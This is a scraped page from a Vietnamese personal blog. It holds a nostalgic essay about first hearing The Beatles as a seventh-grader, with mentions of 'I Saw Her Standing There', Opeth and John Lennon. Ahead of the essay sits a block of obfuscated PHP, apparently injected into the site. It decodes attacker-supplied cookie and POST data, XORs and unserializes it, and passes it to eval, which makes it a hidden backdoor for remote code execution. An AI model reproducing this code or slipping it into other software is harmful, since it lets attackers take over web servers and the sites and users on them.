$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> The Beatles của riêng em và một miền kí ức – B.l.u.e

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

The Beatles của riêng em và một miền kí ức

Em nghe The Beatles từ khi còn rất nhỏ. À, em nói thế cho oai, chứ chính xác ra là từ hồi lớp bảy. Dưng mà hồi ấy em ăn uống rất đầy đủ, nên bị bệnh còi xương, thôi thì em cứ tạm gọi là rất nhỏ đi.

Em nhớ lần đầu tiên em gặp The Beatles là trong cái quán bán đĩa CD gần nhà. Ngày ấy, cách tốt nhất và gần như là duy nhất để có thể cập nhật các trò chơi mới là ra ngoài quán đĩa. Ôi, em còn nhớ như in cái cảm giác đứng tần ngần trước những kệ đĩa game cao chất ngất. Sờ nắn vài chục lần cái túi chỉ có mấy ngàn lẻ, và phân vân chọn một trong những cái tên huyền thoại; nào là nên chơi Age of Empires hay mua Starcraft, Red Alert hay là Commandos, Fifa… À, thôi em quay lại vấn đề chính. Trong một lần như thế, em gặp The Beatles.

Nói ra thực nực cười, cái lí do duy nhất lúc đấy em mua cái The Beatles Collection là vì ông chủ quán có bảo: này em, thanh niên thời đại là phải nghe nhạc này. Lúc đấy, cô giáo em có nói, lớp 7 là còn quá bé để yêu. Vì vậy em muốn thành thanh niên thời đại cho sớm. Giờ lâu lâu nhớ lại, em chỉ buộc miệng thốt lên: tsb cha già bán đĩa lừa đảo. Nhưng nhờ lão ấy, em tiếp cận được với band nhạc vĩ đại nhất từ trước đến nay.

Có hai tên tuổi ban đầu tạo nên niềm say mê rock đến vô tận trong em (đến mức giờ này, nhạc quốc tế ngoài rock ra, em hầu như không nghe các thể loại khác) là Elvis The KingThe Fab Four.

Đó là một buổi chiều mưa thật buồn, mới năm giờ chiều thôi thì phải, mặt trời còn đang nhởn nhơ dạo từng bước về căn nhà nhỏ ở phía Tây của mình, thì bóng tối đã hối hả ập tới. Bầu trời nhìn qua khung cửa sổ một màu xám xịt, mưa bắt đầu rơi tí tách. Em bất giác muốn nghe nhạc.
Trong mớ đĩa ít ỏi của mình, em chọn cái đĩa The Beatles đã mua từ hơn một tuần trước.

Em còn nhớ như in về bản nhạc đầu tiên mà em nghe, và đến nay, nó luôn là một trong những bài hiếm hoi của The Beatles mà em thuộc từng lời nhạc và giai điệu, đó là bài I Saw Her Standing There. Về sau, khi tình cờ lên wiki đọc lại tiểu sử của The Beatles, em mới nhận ra đó là bài hát đầu tiên trong studio album đầu tiên của họ. Và em vẫn luôn áp đặt thiên kiến rằng, đấy là một trong ba bài hay nhất trong gia tài bài hát đồ sộ của The Beatles. Biết sao được, ấn tượng đầu tiên luôn là ấn tượng mạnh mẽ nhất.

Em nói ngoài lề một chút, hầu như những band rock mà em hâm mộ đến cùng cực, đều từ những giây phút một bài nhạc nào đó của họ “bắt” được em (hay là ngược lại nhỉ). Em không thể miêu tả I Saw Her Standing There có ảnh hưởng mạnh đến em thế nào. Em chỉ biết, sau này khi em lớn, em phát cuồng lên với những gì liên quan đến hình ảnh nàng thiếu nữ đứng ở một góc nhìn ra ngoài xa xăm, trong buổi hoàng hôn nhạt nắng. Cách đây vài năm, em ghi tên Opeth vào danh sách band nhạc em hâm mộ, cũng vì ca khúc đầu tiên trong album đầu tiên của họ: In Mist She Was Standing trong Orchid. Cũng lại là standing, cũng là hình ảnh một cô gái: In mist enrobed the twilight, She was standing?

Không cần nói chắc mọi người cũng biết, khi lần lượt các ca khúc khác của bộ tứ huyền thoại ấy, từng bài từng bài vang vào tai, cảm giác của em như thế nào. Thời điểm đó, em học lớp bảy, khoảng năm 1999 hay 2000, lúc mà bọn bạn em đang tranh cãi hằng ngày về anh Hai Lam Trường và anh Bo Đan Trường, giữa N’sync (em viết đúng tên bọn này không ấy nhỉ) và BackstreetBoys. Vì thế, chỉ mình em ôm The Beatles trong tâm tưởng của mình. Có lẽ, đó cũng là một nguyên nhân đặc biệt, để em gọi là The Beatles của riêng em, chẳng bao giờ chia sẻ cùng ai.

Em không như bạn GS của em, em không rành về âm nhạc. Em cũng cực kì dở tệ hại trong việc dùng ngôn từ để diễn giải cảm nhận của em. Em chỉ mượn hình ảnh mà em ngồi hí hoáy làm sau đây, để khắc hoạ một phần nào đó thứ tình cảm yêu mến xen lẫn kính phục của em về một trong những chàng lãng tử hào hoa và tài ba nhất mà nền âm nhạc thế giới đã sản sinh ra

John Lennon

Miền kí ức về The Beatles của riêng em cũng từa tựa như bức hình trên, hỗn độn, nhàn nhạt, nhưng rất mờ ảo và rất đẹp – em không có ý khen em photoshop hình đẹp đâu đấy nhé.

Qua năm tháng, em lớn dần lên, em đã nghe thêm nhiều ban nhạc và nhiều thể loại khác. Em không nói rằng em hâm mộ The Beatles nhất. Em không nhận rằng mình ngày nào cũng nghe và thấm nhạc của The Beatles. Nhưng, em biết, The Beatles cùng những hoài niệm về cái thưở xa xưa ấy, là không gì có thể thay thế.

Dù bây giờ, gần chục năm đã trôi qua, The Beatles vẫn là một band nhạc với những giai điệu đầy mê hoặc, thổi bùng lên cảm xúc trong em. Mỗi lần em nghe The Beatles, mọi thứ trong em vẫn như ngày đầu. Cứ mỗi lần cái nhạc điệu đã được thời gian đóng một lớp bụi mờ ấy vang lên, em lại trở về em của ngày xưa…

…em của miền kí ức hồn nhiên và tươi đẹp nhất

280809
B.l.u.e.

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.